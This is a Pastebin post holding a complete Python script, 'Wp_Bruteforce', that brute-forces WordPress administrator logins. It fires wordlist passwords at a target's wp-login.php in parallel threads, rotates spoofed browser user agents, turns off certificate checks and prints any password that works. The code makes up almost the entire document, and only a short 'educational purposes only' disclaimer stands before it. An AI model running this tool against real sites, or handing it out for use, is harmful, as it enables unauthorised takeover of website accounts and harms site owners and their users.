skip420

Wp_Bruteforce

Sep 22nd, 2020 (edited)
297
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 15.73 KB | None | 0 0
  1. #!/usr/bin/env python
  2. #
  3. # WordPress Brute Force by Skip420
  4. #
  5. # Inspired by xSecurity's WordPress Brute Muliththreading
  6. #
  7. # Tested on Wordpress 3.x and 4.x
  8. #
  9. # Disclaimer:
  10. #
  11. # This exploit is intended for educational purposes only and the author
  12. # can not be held liable for any kind of damages done whatsoever to your machine,
  13. # or damages caused by some other,creative application of this exploit.
  14. # In any case you disagree with the above statement,stop here.
  15. #
  16. # Requirements:
  17. #
  18. # 1) python's httplib2 lib
  19. #    Installation: pip install httplib2
  20. #
  21. # Features:
  22. #
  23. # 1) Multithreading
  24. # 2) http and https protocols
  25. # 3) Random User Agent
  26.  
  27. import urllib, httplib, httplib2
  28. import socket, sys, os, os.path, optparse, random
  29. from threading import Thread
  30. from time import sleep
  31.  
  32. banner = """
  33.  ___ ___               __                                          
  34. |   Y   .-----.----.--|  .-----.----.-----.-----.-----.            
  35. |.  |   |  _  |   _|  _  |  _  |   _|  -__|__ --|__ --|            
  36. |. / \ |_____|__| |_____|   __|__| |_____|_____|_____|            
  37. |:      |                |__|                                      
  38. |::.|:. |                                                          
  39. `--- ---'                                                          
  40.        _______            __         _______                      
  41.       |   _   .----.--.--|  |_.-----|   _   .-----.----.----.-----.
  42.       |.  1   |   _|  |  |   _|  -__|.  1___|  _  |   _|  __|  -__|
  43.       |.  _   |__| |_____|____|_____|.  __) |_____|__| |____|_____|
  44.       |:  1    \                   |:  |                          
  45.       |::.. .  /                    |::.|                          
  46.       `-------'                     `---'                          
  47.  
  48.                     WordBruteForce  
  49.  
  50.                                by:
  51.                          Skip420
  52.                    
  53.  
  54.                        
  55.                
  56.                  
  57.                  
  58.  
  59. """
  60. def randomAgentGen():
  61.  
  62.  userAgent =    ['Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  63.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  64.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4',
  65.                 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  66.                 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
  67.                 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
  68.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0',
  69.                 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  70.                 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
  71.                 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
  72.                 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  73.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0',
  74.                 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  75.                 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  76.                 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
  77.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  78.                 'Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
  79.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  80.                 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',
  81.                 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  82.                 'Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  83.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  84.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  85.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  86.                 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53',
  87.                 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  88.                 'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  89.                 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
  90.                 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  91.                 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
  92.                 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko',
  93.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.76.4 (KHTML, like Gecko) Version/7.0.4 Safari/537.76.4',
  94.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2',
  95.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/538.46 (KHTML, like Gecko) Version/8.0 Safari/538.46',
  96.                 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)',
  97.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  98.                 'Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0',
  99.                 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  100.                 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  101.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10',
  102.                 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko',
  103.                 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  104.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/6.1.5 Safari/537.77.4',
  105.                 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/34.0.1847.116 Chrome/34.0.1847.116 Safari/537.36',
  106.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/6.1.5 Safari/537.77.4',
  107.                 'Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',
  108.                 'Mozilla/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53',
  109.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  110.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  111.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',
  112.                 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0',
  113.                 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53',
  114.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9',
  115.                 'Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
  116.                 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53',
  117.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:31.0) Gecko/20100101 Firefox/31.0',
  118.                 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0',
  119.                 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  120.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:31.0) Gecko/20100101 Firefox/31.0',
  121.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',
  122.                 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
  123.                 'Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0',
  124.                 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  125.                 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  126.                 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
  127.                 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
  128.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  129.                 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D257 Safari/9537.53',
  130.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
  131.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:31.0) Gecko/20100101 Firefox/31.0',
  132.                 'Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0',
  133.                 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36',
  134.                 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
  135.                 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
  136.                 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
  137.                 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/36.0.1985.125 Chrome/36.0.1985.125 Safari/537.36',
  138.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:30.0) Gecko/20100101 Firefox/30.0',
  139.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Safari/600.1.3',
  140.                 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36']
  141.  
  142.  UA = random.choice(userAgent)
  143.  return UA
  144.  
  145. def urlCMS(url):
  146.     if url[:8] != "https://" and url[:7] != "http://":
  147.         print('[X] You must insert http:// or https:// procotol')
  148.         os._exit(1)
  149.     # Page login
  150.     url = url+'/wp-login.php'
  151.     return url
  152.  
  153. def bodyCMS(username,pwd):
  154.     body = { 'log':username,
  155.     'pwd':pwd,
  156.     'wp-submit':'Login',
  157.     'testcookie':'1' }
  158.     return body
  159.  
  160.  
  161. def headersCMS(UA):
  162.     headers = { 'User-Agent': UA,
  163.                 'Content-type': 'application/x-www-form-urlencoded',
  164.                 'Cookie': 'wordpress_test_cookie=WP+Cookie+check' }
  165.     return headers
  166.  
  167. def responseCMS(response):
  168.     if response['set-cookie'].split(" ")[-1] == "httponly":
  169.         return "1"
  170.  
  171. def connection(url,user,password,UA,timeout):
  172.  
  173.     username = user
  174.     pwd = password
  175.  
  176.     http = httplib2.Http(timeout=timeout, disable_ssl_certificate_validation=True)
  177.    
  178.     # HTTP POST Data
  179.     body = bodyCMS(username,pwd)
  180.  
  181.     # Headers
  182.     headers = headersCMS(UA)
  183.  
  184.     try:
  185.         response, content = http.request(url, 'POST', headers=headers, body=urllib.urlencode(body))
  186.  
  187.         if str(response.status)[0] == "4" or str(response.status)[0] == "5":
  188.             print('\n[X] HTTP error, code: '+str(response.status))
  189.             os._exit(1)
  190.  
  191.         if responseCMS(response) == "1":
  192.             print('\n')
  193.             print('[!] Password FOUND!!!')
  194.             print('')
  195.             print('[!] Username: '+user+' Password: '+password)
  196.             os._exit(0)
  197.  
  198.     except socket.timeout:
  199.         print('\n[X] Connection Timeout')
  200.         os._exit(1)
  201.     except socket.error:
  202.          print('\n[X] Connection Refused')
  203.          os._exit(1)
  204.     except httplib.ResponseNotReady:
  205.         print('\n[X] Server Not Responding')
  206.         os._exit(1)
  207.     except httplib2.ServerNotFoundError:
  208.         print('\n[X] Server Not Found')
  209.         os._exit(1)
  210.     except httplib2.HttpLib2Error:
  211.         print('\n[X] Connection Error!!')
  212.         os._exit(1)
  213.  
  214. commandList = optparse.OptionParser('usage: %prog -t TARGET_URL -u USER -w WORDLIST_FILE [-p PORT] [--timeout sec]\n')
  215. commandList.add_option('-t', '--target',
  216.                   action="store",
  217.                   help="Insert URL: http[s]://www.victim.com",
  218.                   )
  219. commandList.add_option('-u', '--username',
  220.                   action="store",
  221.                   help="Insert username",
  222.                   )
  223.  
  224. commandList.add_option('-w', '--wordfilelist',
  225.                   action="store",
  226.                   help="Insert wordlist files",
  227.                   )
  228. commandList.add_option('-p', '--port',
  229.                   action="store",
  230.                   default=0,
  231.                   type="int",
  232.                   help="[Insert Port Number] - Default 80 or 443",
  233.                   )
  234. commandList.add_option('--timeout',
  235.                   action="store",
  236.                   default=10,
  237.                   type="int",
  238.                   help="[Timeout Value] - Default 10",
  239.                   )
  240.  
  241. options, remainder = commandList.parse_args()
  242.  
  243. # Check args
  244. if not options.target or not options.username or not options.wordfilelist:
  245.     print(banner)
  246.     print
  247.     commandList.print_help()
  248.     sys.exit(1)
  249.  
  250. # args to vars
  251. url = options.target
  252. user = options.username
  253. password = options.wordfilelist
  254. timeout = options.timeout
  255.  
  256.  
  257. # Check if Wordlist file exists and has readable
  258. if not os.path.isfile(password) and not os.access(password, os.R_OK):
  259.     print "[X] Wordlist file is missing or is not readable"
  260.     sys.exit(1)
  261.  
  262. # Open and read Wordlist file
  263. wordlist = open(password).read().split("\n")
  264. # Total lines (password) in Wordlist file
  265. totalwordlist = len(wordlist)
  266. # Gen Random UserAgent
  267. UA  = randomAgentGen()
  268. # Url to url+login_cms_page
  269. url = urlCMS(url)
  270.  
  271. print(banner)
  272. print
  273. print('[+] Target.....: '+options.target)
  274. print('[+] Wordlist...: '+str(totalwordlist))
  275. print('[+] Username...: '+user)
  276. print('')
  277. print('[+] Connecting...')
  278. print('')
  279.  
  280. # Reset var for "progress bar"
  281. count = 0
  282.  
  283. threads = []
  284. for pwd in wordlist:
  285.     count += 1
  286.     t = Thread(target=connection, args=(url,user,pwd,UA,timeout))
  287.     t.start()
  288.     threads.append(t)
  289.     sys.stdout.write('\r')
  290.     sys.stdout.write('[+] Password checked: '+str(count)+'/'+str(totalwordlist))
  291.     sys.stdout.flush()
  292.     sleep(0.210)
  293.  
  294. for a in threads:
  295.     a.join()
  296.  
  297. # no passwords found
  298. print('\n[X] Password NOT found :(')
Add Comment
Please, Sign In to add comment